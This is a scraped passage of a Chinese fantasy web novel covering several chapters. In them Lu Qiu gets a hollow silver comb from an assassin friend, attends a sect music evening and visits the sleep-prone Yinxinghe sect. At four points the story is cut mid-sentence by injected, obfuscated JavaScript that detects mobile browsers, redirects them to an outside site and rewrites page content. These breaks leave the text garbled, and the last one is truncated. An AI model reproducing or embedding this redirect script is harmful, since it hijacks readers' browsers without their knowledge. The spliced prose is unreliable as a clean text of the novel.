尹浅笙摇头,从袖中拿出了把银梳递给陆秋。陆秋一看是自己托对方做的暗器,有些惊喜的接过来,问道:“做的这么快吗?” 尹浅笙抿唇点头,又指着银梳正中的那颗玉石说:“你一般把这个戴头上,无论是准头还是威力都不可太大,所以这就只能做个辅助性的暗器。” 陆秋摁了下那块和食指一个指节那么大的玉石,就见那玉石直接弹开,露出里面的空间来。玉石内部是被掏空的,银梳也是一个架子,里面都是空的。 “里面可以放一些香丸什么的,不过最常用的是解毒药,那种可以通过挥发有作用的丸药效果最好。” “我说怎么感觉这梳大了一圈,你把里面打通得花不少功夫吧?”陆秋用手比划了一下,带着笑看向尹浅笙。 “十天的时间,也不是很赶,主要还是构思的时间长。” “手艺真好。”陆秋发自内心的夸赞道:“这体积都扩大了这么多,上面的纹路也没有扭曲,还是那样精细。” 他看向尹浅笙,发现对方耳朵又红了,心里笑这孩子不经夸,说两句就脸红,再夸几句不得成煮熟的虾子。陆秋摸着银梳,想起江舟还在刚刚的客栈中,便问尹浅笙是否也有东西要给江舟。 尹浅笙抬头望着他,有些奇怪:“我是来给你送东西的,你为何会提到他?” “我想着就这么一把梳子,没必要让你多跑这一趟。”陆秋知道自己是想多了,尴尬的掩嘴轻咳。 “有必要啊。”尹浅笙把额前头发往两边拨了一下:“我答应要给你的。” 随后他像是想起了什么,挠着头支支吾吾道:“镯子我还没挑好,不知道你喜欢什么样子的……” 陆秋看他窘迫的模样没逗他,而是主动给对方找了个台阶下:“我也没有什么特别喜爱的镯子样式,等哪天有想法了再给你说吧。” “嗯。”尹浅笙松了口气。 “要不要一起去吃饭?”陆秋估计着现在已经快到正午了,怕对方再说一堆话又连忙补上一句:“这次我请你,你自己记着以后请我。” 虽说落霞宗附近的物价比他们初遇的镇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395967|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高,但也到不了余月那种水平,而且这次的菜品也是比较合他胃口,体验比上次好了不少。快吃完的时候陆秋抿了一口水,问尹浅笙:“你既然看见我了,为何不直接喊我,而是跟了我这么久?” 尹浅笙有些不好意思的开口:“隐月教名声不好,让别人看见了对你也不好。” “那你平时要是给江舟东西呢?” “都交给落霞宗守门弟子,我一般也见不到他的。” 陆秋实在想不出来为什么隐月教那么不招待见,疑惑的也挠头:“为什么名声不好?” “因为我们接的很多都是杀人越货的任务,平日里走在路上他们也要退避三舍,以免惹祸上身。” “可我以前没听说你们会随便动手啊,你们不是要写那个什么……”陆秋卡壳了,忘了那叫什么:“那个信,提前说好要去杀他们。” “索命信?”尹浅笙猜测。 “好像是?”陆秋也说不准:“反正都会提前说的,又不会在大街上乱动手,这么害怕做什么。” “也不是所有人都知道我们的索命信的,只觉得我们会杀人,就离得远远的。” “那你适合去余月生活。”陆秋开玩笑:“你去余月我都能养你。” “余月的人不会害怕隐月教吗?”尹浅笙没去过那里,这听陆秋一说倒是有些好奇。 “不会啊,你要是去那里生活,根本接不到杀人令。” “余月不是有很严格的规则吗,我们好像根本进不去。” “好像……确实。”陆秋掰手指数着:“二十年内无杀人案件,无偷窃,抢劫,这是最基础的条件,然后你想在里面生活还得有更多的要求。” “那我进不去了。”尹浅笙有些遗憾的看着陆秋:“我们只靠一些小悬赏是根本满足不了生活的,只有关于人的悬赏才可以。”他托着下巴,突然问陆秋:“你杀过人吗?” “那不一样的。”陆秋挑眉:“首先,进入余月和被驱逐出余月的条件不一样,进入的条件艰难,稍有不慎就会被剥夺资格,但被驱逐却是必须到了罪大恶极的程度才可。” “其次,没人知道的杀人就不叫杀人。”他的食指点上尹浅笙的鼻尖,眯眼笑道:“那叫冤枉我了。” 尹浅笙呆住了,后反应过来不知想到了什么,那脸颊连同着耳朵又变得红了,甚至目光中都带上了一丝类似震惊的情绪。 陆秋对他动不动脸红的样子习惯了,继续往下说:“我也不会滥杀无辜的,你别把我想得这么坏,我只杀那种不配为人的家伙。” 尹浅笙用力点头,不知道在激动什么,十指相扣抵住下巴,眼里还多了一丝敬佩。他声音都有些颤抖:“可以说一下吗,是什么样的人被你杀掉了?” 见陆秋歪头不语,他立刻举起三指发誓自己不会说出去,然后等待陆秋讲。 “最近的还是去年的事。”陆秋省去了一些细节:“我遇到了一个小鬼,年纪不大,只有十一岁,被爹娘送去给地主当妾然后受虐待死了,” 见尹浅笙听得认真,他也放慢了速度:“为了帮她消除怨气,我答应让她的死讯传回家中,其实她也不想要欺负她的人得到报应,她只想回家罢了。” “为什么?” “因为她一直都觉得自己的死是应该的,为家里那些人付出后他们便会对她另眼相待,我说那不可能,但她还要去试。” “然后呢?”尹浅笙转着左手食指上银色的储物戒,眉头紧皱,对这个结果有些失望。 “然后不负众望的没能改变。”陆秋摇头:“那家人怎么说呢,就是典型的重男轻女,女孩不当人,男孩当个宝。” “然后呢?” “反正那小鬼那么相信他们,干脆就让那家人把她杀了,等她要魂飞魄散之际,我再出手伪造成他们互殴导致的死亡。” “其他人信了吗?” “当然信了啊,厉鬼索命不是很正常的吗?”陆秋语气都有些飘了。 50. 香气 “不对。”陆秋又思索着:“这样说的话,我没杀人,人是鬼杀的,我又送走了鬼罢了。” 见尹浅笙久久不能回神的模样,他也问起一些事情:“你们是刺客,一般不用这么费劲不是吗?” “我们也有躲不掉的时候,只能正面和追查的人打起来。”尹浅笙撸起右臂的袖子露出上面一条条浅褐色的伤疤:“其实只要有这种任务,不受伤都有些奇怪。” “你们教会不给弟子发一些祛疤痕的丹药吗?”陆秋轻轻摸上那些不平整的皮肤,有些为难:“这些要想根除几乎是不可能了,而且你也不能保证在治疗的过程中不添新伤。” “我知道。”尹浅笙由着他看:“平日里只用止血丹,不伤及肌肉就可以了,” “怎么可能伤不到?”陆秋指着臂弯处一条疤给他比划着:“这一条就伤到了。” “没有太大关系就好……”尹浅笙心虚的收胳膊,把袖子往下拉。 “你们长老平时都不管你们吗?”陆秋被他这种态度惊到了,感觉有种“死不了就行”的敷衍。 “会发任务。” “其他的就不管了?” 尹浅笙摇头。 陆秋想了半天也只能憋出来个“行”字,最终也不知道怎么回答他,只能叹气帮他把衣袖理好。这时腰间通讯令牌突然不断闪起,陆秋随手一拨,江舟的声音就响了起来。 “你在哪儿啊,清哥说你根本不在滨水宗。” 陆秋和尹浅笙对视一眼,他竖起食指抵在唇上示意尹浅笙不要说话,回答道:“我又出来了,有点事情,马上回去。” “行,你中午没睡午觉就算了,下午在二长老课上要是敢睡咱都不敢保你哈。” 陆秋这才想起来今天有一位很严厉的长老的课,顿时感到疲惫了。 “那个梳子……”尹浅笙提醒他:“有没有提神的药丸?可以放进去的。” 陆秋连忙翻芥子空间,平日不让他们服用这些丹药,说是副作用太大,但这种自然挥发的作用可没这么大了,自然就没有要求。重新把银梳戴回头上,虽说现在还没有太大的作用,但聊胜于无。 “对了,下次找我直接给我发消息,不准再偷偷跟着我了知不知道?”陆秋嘱咐尹浅笙:“我可不想一见面就打起来。” 尹浅笙改的这把银梳功效确实厉害,不仅他下午没有犯困,就连周边一群同门都疑惑是自己午觉睡多了还是什么原因,精神竟然都有些亢奋。 下次看看能不能让尹浅笙把功效给改一下,以免再波及他人。陆秋视线都不敢离开正在讲话的二长老,生怕别人注意到自己。 “你怎么身上一股子香味?”江舟皱了一下鼻子,悄悄问:“你不会去灯楼了吧?” “什么灯楼?”陆秋不解。 “就从咱们宗门大门直着出去,有个灯楼,里面是……”他用唇语给陆秋说了后面的话:“都是姐儿,卖艺的和卖身的都有。” “啧。”陆秋咂嘴,也用唇语回复江舟:“我要告二长老你不听讲。” 江舟瞪眼坐直身体,拿起笔开始抄录,还不忘回怼陆秋:“你告我也告,要死一起死。” 这二长老教的是真没意思,但她又不允许别人不听,所以只好强装喜爱,硬着头皮听下去,等结束后陆秋感觉已经被抽干了精力,瞬间老了十岁,连晚上的琵琶会也不想去,只想早些休息。 但清环又耳提面命让他必须参加,说是这次又有事要说,不能缺席。 琵琶会,其实就是一群人带着乐器去玩,起初只有琵琶,后来又有了众多乐器,算是落霞宗弟子的一种娱乐方式。陆秋只会一点笛子,但若是想参与其中就必须有唱的环节,所以又半推半就学了琵琶和二胡才没让同门笑话。 他简单收拾一下,抱着宗门发的琵琶叫上隔壁的清环一同前往乐坊。 令他没想到的是,清环竟也皱鼻问道他抹了什么香。陆秋心里纳闷,他已经把银梳放回芥子空间了,想着这个丹药再怎么挥发都不该有味道,最后偷偷摸摸用通讯令牌给尹浅笙发了消息问对方知不知道相关事情。 尹浅笙没有立刻回复,想来应该有事,他也不着急,只说自己今天出去试了试香,这种香味很正常。 乐坊的人已经不少了,乐坊主一见二人来到,迈着小碎步飘到他们面前,笑道:“还以为你们不来了,快坐,给你们留了位置呢。” 清环直走进去坐在主位,陆秋则趁着人还没来齐,找了个较为隐秘的座位,以免再被议论。 大概又过了一柱香的时间,不管还有没有人来,清环拍着手,手腕上金铃相撞发出清脆的响声,宣布可以开始了。 坐在里侧的乐坊主开始拨弄古琴,曲调悠扬,细听还有丝丝悲怆。陆秋心不在焉的跟着合奏,目光却飘到了乐坊主脖颈的那条金链上。看着眼熟,他想起那貌似是上次清环从李府带出来的链子。 也不能走神太久,因为乐坊主伴奏的时候要从主人开始唱词,后由主客选择顺序进行下去。这次清环选择从右手边的人开始轮着唱,见还有两个人就到自己,他开始想词与调如何能配得更好。 由于这次没有明确规定风格,填词还是比较简单,随意编几句就可以应付,所以陆秋念了两句词就算是过了。 通讯令牌这时亮了亮,陆秋下意识想看是谁,但想起这一轮还没有结束,只能假装没发现,继续跟着演奏。一次琵琶会一共是十二轮,但大家都是来放松的,若是真的有事情,一轮结束离开便是。 一轮结束,休息期间陆秋凑到清环身边给他说了一声,清环点头示意他可以离开,便又转头和乐坊主讨论事情。得到许可的陆秋一手抱着琵琶,一手拎着裙摆从小门离开,走在小道上打开令牌查看信息。 尹浅笙回答说银梳并没有任何问题,又问他是否有香囊一类的东西。 陆秋也无奈,回复他:“我见你前还是正常的,但是一回来就被说有股香味,总不能是你染给我的吧?” “呦,怎么出来了?”身后一个女声传了过来,陆秋转身看见是上次的令火堂的师姐,随便找了借口:“有点事,就先出来了。” 师姐瞟了眼他的通讯令牌,撇嘴:“不会是和相好的出来幽会吧?” “没有,只是朋友。”陆秋摇头:“我有点问题。” “什么问题?”师姐走过来,但是又皱着眉离远了点:“什么味道?” “香味?”陆秋都有些麻木了。 “嗯,还是很浓的那种。”师姐点头,呲牙咧嘴的质问:“你今天都见了谁?” “就是那个朋友。” “我觉得吧……”师姐斟酌着开口:“可能是那种不小心沾上的,一种情绪?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行……吧。”陆秋也不知对话怎么进行下去了,要他像对方这样肯定是在为难他,但又不想让人家得不到回复,所以一来二去倒是把自己架住了。 沉默了一阵,尹浅笙那边才传来类似铁器碰撞的声音,陆秋仔细听了一下,才想起这应该是短匕收回发出的动静。 “你在做什么?”陆秋又听到许多重物落地的声音,有些好奇的问他。 “在……”尹浅笙思考一下:“日常训练。” “日常训练砍木桩?”陆秋不信。 “砍别的东西。”尹浅笙那边突然有了其他人声,他像是把面罩拉上了,声音变闷起来:“下次再聊,我有些事。” 陆秋明白他在干什么了,只好答应后切断联系,等令牌上的光熄灭后翻身跳出温泉,动作利落将浴袍穿上便奔向寝室,不顾形象一头扎进被褥中。 只见被褥像是漏气那般逐渐缩了下去,安静了一会后,一个只有六岁左右的小孩探出头来。 “呼……”陆秋长舒了口气,将自己紧紧裹起来,又开始反思这些天的破事。但不知怎的,他脑子里都是楼无别对于清环的那句预言。他总觉得不是什么好事,但又说不上哪里怪,最后在胡思乱想中不知不觉睡去了。 51. 引星河(1) 还没过几日呢,清环又带着任务找上来了,说是有两人的任务,自己思来想去还是觉得陆秋合适,便来寻他一同前去。 “为什么是我?”陆秋嘴里那口酥还没咽下去,听见自己被幸运选中了,那碎屑差点反呛到气管中。 “师姐说过,得多磨练你。”清环掩唇笑着,让陆秋赶紧去收拾东西。 陆秋一听是自己娘的意思,便往外看了两眼问道:“我们去哪里?” “放心,去引星河。” 若是说起引星河,他还在前不久见着了楼无别,仅是那片刻就令人不安,若里面弟子当真都是这样难以相处,自己去到只怕是要给添乱的。 “我们去做什么?” “当然是加固大镇。” “大镇”是通俗叫法,其实就是一层结界,引星河与他们关系也不错,这次清环一是为了将那些阵法补上,二是作为代表去和引星河谈判,至于陆秋要做什么,估计最多就是跟着跑腿,混个眼熟罢了。 不知是什么原因,二人传送过去竟然还要再搭飞行法器,再过一日才能到达目的地,清环早就布置好了,等落地就有前来接应的人,陆秋在飞舟上,望着底下蓝绿色的树林不解道:“为什么不能把法阵设的再近些呢?” “没办法。”清环摇着团扇叹气:“引星河那群人也不知是怎么想的,方圆百里不得设传送阵,自己山头那么多大,出来都得步行,最后再问也只是说天命如此,不得改动。” 陆秋回忆起来,有些无奈:“他们好像很信命。” “谁知道呢。”他一手撑着太阳穴,阖眼等着飞舟降落。 从落霞宗往里面看,宗门内全是火红的枫树林,有时在阳光下像是镶了金边,再往滨水宗看去则是一片翠绿,或混杂着些墨绿。 但引星河的树木竟出现了蓝绿色,而且越往正中靠近,那深蓝色便越浓,而且还有白色光点不断从那些叶子中飘出,从上往下看竟真有漂浮在星辰之中的感觉。光点逐渐汇成条河来,又不断撞击石头,碎成一片片后再次汇集,流向更远处。 也就是余光扫过,陆秋突然拽了一下清环的袖子,不确定的说:“师姐,那底下是个人吗?” 清环往下一看,只见一位身着浅蓝广袖长袍的人,正被那些光点裹着向这里流着。虽说不知被那些光点碰到究竟是什么感觉,但仅是看着,就觉得像是水流那样令人窒息。清环看了眼,便拿出条手臂粗的麻绳来,一头系在自己腰上,另一头紧缠在仙舟突出的环上,让陆秋握着中间的那段绳,等他捞了人再把他往上拽。 陆秋点头,又问:“我把你放下去?” 清环已经一脚踩在船边,摇头道:“太慢了。” 飞舟此时还在往前行驶着,待陆秋把他放下去,人怕不是都被冲得没影了。 “你若是就这样跳下去,力道太大,腰腹撕裂都有可能。” “我身体好得很。”清环调整了姿势:“我还有灵力护体,怕什么。” 说完,他便直直落了下去,陆秋还没来得及握,那绳便只剩了最后一节,他忙双手死死拉着麻绳,往后拽的同时探头看向下面,看见清环已经抓住了人才往上拉。 清环再怎么轻,那也是男子该有的重量,更别提还带了个人,只靠着自己□□的力量是完全拉不动二人的。陆秋只好又操控着灵力,将火缠上麻绳,控制在能扯动绳子又不会燃烧的程度,尽快将二人拉上来。 清环其实是慌的,毕竟这绳是易燃物,他跳下时还担心陆秋能不能有力气拉自己,可抬头顺着绳子一看竟然有火光,心里咯噔一下,喊道:“你在做什么!” 听见喊声,陆秋探头看他,回复道:“拉你们上来。” “把火化为手臂的模样。”清环一手抱人一手紧握着绳子,抬头教陆秋:“那个火是可以捏成不同形状的,你试一下。” 陆秋此时用的火只有食指粗细,像藤蔓那样靠着收缩将绳子往上扯,现在听了清环的话,便试着把火控在小臂粗细,通过分叉来模拟人类手掌的模样。 虽说一眼看不出到底是个什么东西,但比之前有效率了。这时不是讲究外貌的时候,他便控制着这东西拉绳,自己把桌椅移到一旁,以免清环上来时被磕到。 清环还好,上来只是把麻绳一解,将衣摆沾上的白点拍掉就又恢复了原状。陆秋将清环放到地上的人翻过来,确认人还活着才松了口气。 仅是看这衣袖上纹的星辰和半透明的外衫,就知这人是引星河弟子,只是不知为何会被星河卷走。陆秋蹲着将他发上残留的白点摘掉,只觉触感柔软,像是被突然塞了块冰似的,寒意立刻传到天灵盖,激得他不由打了个颤。 这名弟子悠悠转醒,水蓝色眸子睁了半天也没聚焦,整个人就像真的浸了水一样,带着种湿漉漉的凉意,半晌才坐起来。 陆秋嫌蹲着太累,没准还要腿麻,便席地而坐,等着面前这人开口。等了半天对方也没开口的意思,反而是清环半蹲着问他:“你是哪一宿的小星君?” “我是玄武……”他磕磕巴巴说着:“壁宿,师亦春。” 清环卷着头发,把簪子重新固定了,又问:“你怎么被冲到下游来了?” “我,我在,在,在睡觉。” 陆秋听到这里也明白了,他一开始还以为这人只是性子闷,在生人面前腼腆才说不利索话,谁知竟然有口吃。 真是可惜了长得这么清秀。他有些遗憾的望了对方一眼,又和清环对视。 清环揉着头听完师亦春讲话,总结道:“所以,你是在河边睡着,然后不小心被冲走了?” 清环语速也慢了下来,像是被影响了,生怕自己也变得口吃,只好思考过后再小心说话。 据师亦春所说,引星河弟子精神不太好,常觉困乏,而引星河又是比较安全的地方,所以只要躺着还算舒服,就会直接睡一觉。 “那,那你们……”陆秋一开口就结巴了,他嘴张着,看着清环眼里几乎要溢出的笑意,一阵窘迫直上心头,他只好也放缓了语速,第一次有种嘴跟不上脑子的奇妙感觉。 “那你们不怕有不怀好意的人趁虚而入吗?” “他,他们进,进,进不来的。” 貌似是听的有些烦,清环抢在师亦春前笑着给他解答:“只要踏入引星河管理范围,你的一举一动就已经在监视中了。” “是有结界一类的东西吗?” “引星河的心法是强化神识的,而且功法难以应对,再加上有元婴期长老坐镇,敢撒野的应该当场暴毙了。” 陆秋来了兴趣:“怎么个暴毙法?” “神识攻击。”清环食指的指甲又开始敲着金手镯:“比如你是火灵根,只要你神识够强大,就可以操纵着火随意攻击他人的神识,虽然□□没有受伤,但也足够对方难受的。” “神识受伤太重会怎样?” “七窍流血?”清环挑眉数着:“灵力紊乱,七窍流血,昏迷,高烧,爆体,总之神识受伤和魂魄受伤相似,不过更严重罢了。” 这症状越听越像自己之前在秘境遇到的,陆秋又问师亦春:“你们门派有没有冰灵根前辈?” “有,有的。” 不过师亦春也不确定,只说那位前辈已有百年未露面,行事诡谲,性子也是说不出来的古怪。若要再细说,就只有传闻了,毕竟只有一面之缘,自己这么随意置喙太没礼貌,若自己讲的是真的,那便是舌头长,随意说别人坏话;若事情是假的,自己就是在造谣,所以点到为止,不管二人再问什么,师亦春都摇头说不知。 陆秋只好闭了嘴,知道师亦春只是表面口吃,其实精明得很,便动了读心的心思,想再挖点信息出来。 师亦春虽是筑基期修为,可神使比陆秋强了不知多少,仅是瞬间就建起了屏障,将陆秋的读心术弹了回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395969|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 师亦春没有动作,只是抱膝坐在地上,垂着头不知在想什么,陆秋坐在另一边,尴尬的大气都不敢出,只剩了清环微微歪头,不知这二人情绪怎么就突然转变了。 直到飞舟自己降落,师亦春才慢吞吞下来,像是极不情愿回到这里似的。陆秋这时又小声问他:“这里是哪儿?” “御星阁。”师亦春难得没结巴。 “功能和执事堂一样吗?” “不是。”师亦春说话更慢了,不过好在能够一口气说下来:“御星阁……是……平日里弟子……开会的地方。” 师亦春不和他计较,他也没必要扭扭捏捏的,便又问:“我听师姐问你是哪一宿的,是什么意思?” 听到“星君”,陆秋心里就有了猜测,加上师亦春所说的“玄武”、“壁宿”和一些词,大致就是把弟子分为四部分,共为二十八星宿。 师亦春解释完,清环也与屋内的长老交谈完毕准备布阵了,长老本还想薅弟子来带路,可一连叫了五位都没有回应,师亦春自然就是那个倒霉的,只好担起带路的责任来。 可能是已经睡了一觉的缘故,师亦春没有像路上那些弟子那样随地大小睡,交谈时逻辑还算清晰,只是步子看起来飘了许多。 他说了什么陆秋是没往脑子里记的,毕竟这一路他都在避免踩到人,实在分不了心去听。 引星河只有黑夜,说是为了更方便观察星象,不必挑时间,可问题是弟子大多都在睡觉,白天黑夜貌似是没什么区别的。 林中并不暗,草木边缘都散着点点荧光,能看清路,但不至于亮到影响他们睡眠,三人就这么路过满地的弟子,艰难的往前走了二里路。 也不是满地,只是几步就会遇到人罢了,讲究些的会找个舒服点的树上躺一躺,或是半个身子趴在秋千上,找来薄被盖住腹部。 随意些的就是随地躺下,路上三人还拽了好几位睡在河里的,以及一位几乎是以倒立姿势睡觉的弟子,姿势怪的仅是看几眼就觉得脖子疼了。 可能是没怎么晒过太阳,这里人的肤色普遍白的发光,在黑夜里也泛着一层白色柔光来,看着和人皮灯笼似的。 陆秋悄悄用传音给清环这么说,清环嘴角忍不住上扬,便用宽厚的袖子掩住,传音道:“怎么就是‘人皮灯笼’了?” “就是……”陆秋又看了两眼那个趴在石头上的:“就是感觉从皮底下往外发光。” “那叫肤如凝脂。”清环抿了抿唇角:“回头还真得多让你跟着学学,免得连话都不会说。” “哦……”陆秋挠头,跟着师亦春往前走,没注意脚下,险些扑到地上这人身上,还是清环手快,把他拉到自己身侧才没摔倒。 “你们发的被子不能换个色吗?”陆秋心有余悸问师亦春。 “什么被子?” “他们盖的,颜色款式都是一样的,不是你们宗门统一发的还能是从哪儿搞的?” “那个……”他也看向那几个弟子,裹得严实的就像是蓝蘑菇,几乎要与树林融为一体,若不仔细观察还真难发现有人。 “那,那是,怕被,被发现。” 离开御星阁,师亦春的口吃就又严重了,一句话磕磕绊绊要说上一段时间才能说完整,可问题是陆秋问的,也只能耐着性子听下去。 引星河给出的理由很简单,由于弟子太能睡,怕在林中遇到什么危险,便把这被子换成了统一的蓝色,能融入环境,不至于被攻击。 陆秋又不解:“那往被子里塞几张符不就好了吗,被子一盖就是个小结界,这不比现在的强?” “没……没钱。”师亦春声音都小了下去:“都在,睡,睡觉,没,没有,钱。” 好像也是。陆秋又环视一周,觉得引星河能这么安全全是长老的功劳,不然就这么一地的人,光是捡都捡不过来,若是找不到,都不知是丢了还是在睡觉。 52. 引星河(2) 说到底陆秋还是个来凑数的,只能在清环布阵的时候打下手,把材料递过去就算是干活了。他都在想清环是不是看中了他当花瓶的样子,才选了这么个任务搭子,直到自己被拎出来去收拾先前阵法残留下来的东西时,他才意识到清环这是要松松他的懒劲,喊他干活了。 这么久都没碰过阵法难免生疏,陆秋也小心翼翼的,生怕收拾的顺序出错再弄出什么事来。 清环心中是有数的,站在一旁盯着陆秋,在他要拿错的时候提醒一下,确保不会再触发机关或是法阵就成。 师亦春看着陆秋收拾完直起腰来,出言提醒:“山,山下,还,还有。” 陆秋将那些废料装进宗门发的储物戒中,跟在二人身后又向山下走去。虽说引星河四季都是一个模样,不冷不热,可这么紧张的收拾完,还是难免出了一身薄汗,也就是用袖口擦去额上汗滴的刹那,前面的两人就没了踪影。 陆秋脚步一顿,先是觉得那二人进了什么结界,才会突然消失,可等他也走过那条线时,却没有任何变化。 难不成是需要两人? 陆秋往回走了两步,站在原地等那二人,可过了有一炷香的时间前方都没有动静,他难免开始着急起来。 若是这么等下去,还不知要到什么时候,偏偏令牌没有反应,心通也被切断,当下还是先回御星阁为妙,至少清环还会回到那里乘飞舟离开。 来时的路还有脚印,回去不是难事,可当陆秋踩着石头过了河,却听见了隐隐传来的哼唱声。那声音空灵得很,在山谷中游荡着,像是行踪不定的魂体在耳边哼唱那样时不时凑近,又在扭头望去的瞬间迅速飞远。 “谁!”陆秋缓缓将长鞭从袖中掏出,又用灵力作盾,护在身侧。 那歌声依旧不消停,像是引路似的在陆秋耳边晃着,竟直接透过了他的灵力盾将他腰间的令牌扯下,像是逗猫儿那样将他带去河边,沿着光点往山上跑去。陆秋几乎是瞬间就去抢令牌,可令牌就在空中跳着,勾着他向前走。 陆秋难免着急,可也留了个心眼,就算是沿着河也得保持着一臂的距离,若真是什么东西在水底,只怕自己一时是应付不来的。 不知是不是海拔高了,越是往上越觉寒冷,等到腿都要冻僵时,陆秋才后知后觉停下脚步。 令牌可以回到落霞宗再补,可若是真在这里失踪了,还说不准什么时候能被找到。 特别是一想到这里人以攻击神识为主,他就不由心底打鼓,转身就要往山下跑去。 转身的刹那就见下面那些草木蒙了层冰霜,速度快到难以用肉眼观察,陆秋脚还没放下,那冰就结到了他面前戛然而止,威胁他不许后退。 后背也传来一阵凉意,陆秋感到后背都僵了,不由吞咽口水,僵硬的缓缓向后转身看去。 扭头就与一双眼睛对上,这凭空出现的人与他靠的极近,稍微一动就要亲上。陆秋迅速调整心态,争取不让自己吓得失去理智,同时手腕蓄力,想趁对方不备之时发动攻击。 那种令人胆颤的寒意又一次袭来,陆秋及时化出火焰,巨响猛地在二人眼前爆开,将对方激得立刻后退一步,才让陆秋松了口气向后跳去拉开距离。 他这时才发现,这人自小腹往下就是巨大的蜘蛛身子,整个人都发着白光,没有瞳孔的眼中也是一片灰白,这会儿警惕的盯着陆秋,像是起了几分忌惮的心思。 感觉过于熟悉,陆秋深吸一口气,语气带上了不爽:“那日在秘境的人,是你吧。” 对方不回答,只是盯着他看。陆秋被他这态度搞得恼火,便将长鞭猛地一甩,抽在地上发出令人牙酸的响声,质问道:“你把我带来这里作甚!” 一道听不出是男是女的声音传来:“小友且慢。” 打狗还要看主人,陆秋见面前这人对声音恭敬的态度,就知道他也是个引子,便将长鞭一卷,向蜘蛛人跪拜的地方望去:“不知阁下是何人?” 对方一阵沉默后,只听一阵风声呼啸,又是声声脆响自林中传来。陆秋抬眼望去,只见一人用长剑挑开垂下的冰丝,从暗处走出,面上带笑,和善的模样很难让人相信他会是这蜘蛛人的主子。 “上次无意伤到小友,还望多多包涵。” “无意?”陆秋皱眉,心里不爽极了,便回怼他:“若真是无意,就不会伤到我。” “事实如此。”他挥了下手,那蜘蛛人就六条腿并用飞快爬走了。 陆秋感觉自己浑身肌肉都紧绷着,颤抖不是因为恐惧,而是将要战斗的兴奋,连带着体温都在上升。 可惜眼前人不给他战斗的机会,更不给动手的理由,自己变出个冰躺椅来,往上一坐便开始解释:“那本就是我要管理的地方,你们擅自闯入不说,还搞破坏,我若不释放些威压,你们不得闹翻天?” “那是滨水宗骗了我们。”陆秋皱眉反驳他:“我们都是不知情的。” “谁管你们知不知情,你就说你有没有搞破坏吧。”这人撑着头,眼中带着戏谑。 陆秋自知理亏,便不再推卸责任,承认道:“有。” “那不就是了。”他笑着,可眼中却是一片寒意:“我们这样就算扯平了。” 不知道他说的是哪门子的扯平,但陆秋知道自己打不过人家,只能忍气吞声,把不爽往肚子里吞。 可就在那瞬间,陆秋突然想起什么似的,问道:“敢问阁下姓名……” 这人晃着椅子,一副怎么都不说的模样敷衍他:“有缘自会相知。” “前辈可有‘空谷’这名字?” 谁知这人不经诈,立刻问道:“你看过我的心法?” 陆秋的态度立刻好了起来,甚至称得上是谄媚,笑道:“这不是仰慕前辈许久,想从前辈这里讨教些经验。” “我能有什么经验?”空谷的椅子也不晃了,见陆秋这态度转变之快,自己不由警惕起来,眉头也拧得死紧。 “当然是写心法的经验。”陆秋自己从储物戒掏出小板凳坐下,看着空谷坐的冰椅,心里不由嘀咕这人铁屁股,坐冰上都不觉得凉。 丝毫不知道自己有了“铁屁股”这个称号的空谷还在沉思,半晌开口道:“就是随便写点,哪儿有什么经验?” “都写些什么?” “感觉有进步就写,把修炼进度记一下就行了,突破一次就整理一次。” 陆秋怀疑对方没说真话,便问:“就这样?” “不然呢?” “可上面许多法术都……” “你自己多试试,多去组合创造就成了,这很难吗?” 难不难不知道,反正自己只顾着按书上的方法学习法术,要说自创,那简直想破脑袋都想不出来。 “你并非冰灵根,我的心法你自然难以参透,不如找个冰灵根的人辅助你,你也能学到些东西。” 陆秋还要说什么,就见空谷手中折扇对着空中轻点,冰霜立刻褪去,露出原先淡蓝的草叶随风轻摇着。面前这人从衣摆开始不断有霜攀上四肢,后又将他层层包裹,最终从内爆开,只剩满地的冰碴子。 身边又恢复寂静,陆秋猛的睁眼,发现自己躺在了地上,这里哪是山腰,分明是刚刚清环消失的地方。他撑着地坐起,有些迷茫的环视四周,意识到自己神识是被拉走了,才会躺在这里睡过去。 陆秋扶树站起,往清环消失的地方走去,还没走几步前面就没了脚印,他也不知往哪儿走,只好摇头沿原路返回,先回到御星阁等着才是。 可就在经过一位仰着睡的弟子时,陆秋跨出去的脚被猛地一拉,毫无防备直接摔到了这名弟子身上,把人压得发出一声闷哼。 陆秋忙要站起,发现这弟子也醒了,迷迷糊糊睁开眼睛,随后立刻瞪大双眼和陆秋对视。陆秋忙要起身,可脚下打滑,往后又压了一下直接把人压得发出哀嚎。 这下他是真的不敢动了,只能心虚问道:“你没事吧?” 被压住的这人又动了两下才从被子里钻出来,双臂撑着地抬起上半身望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 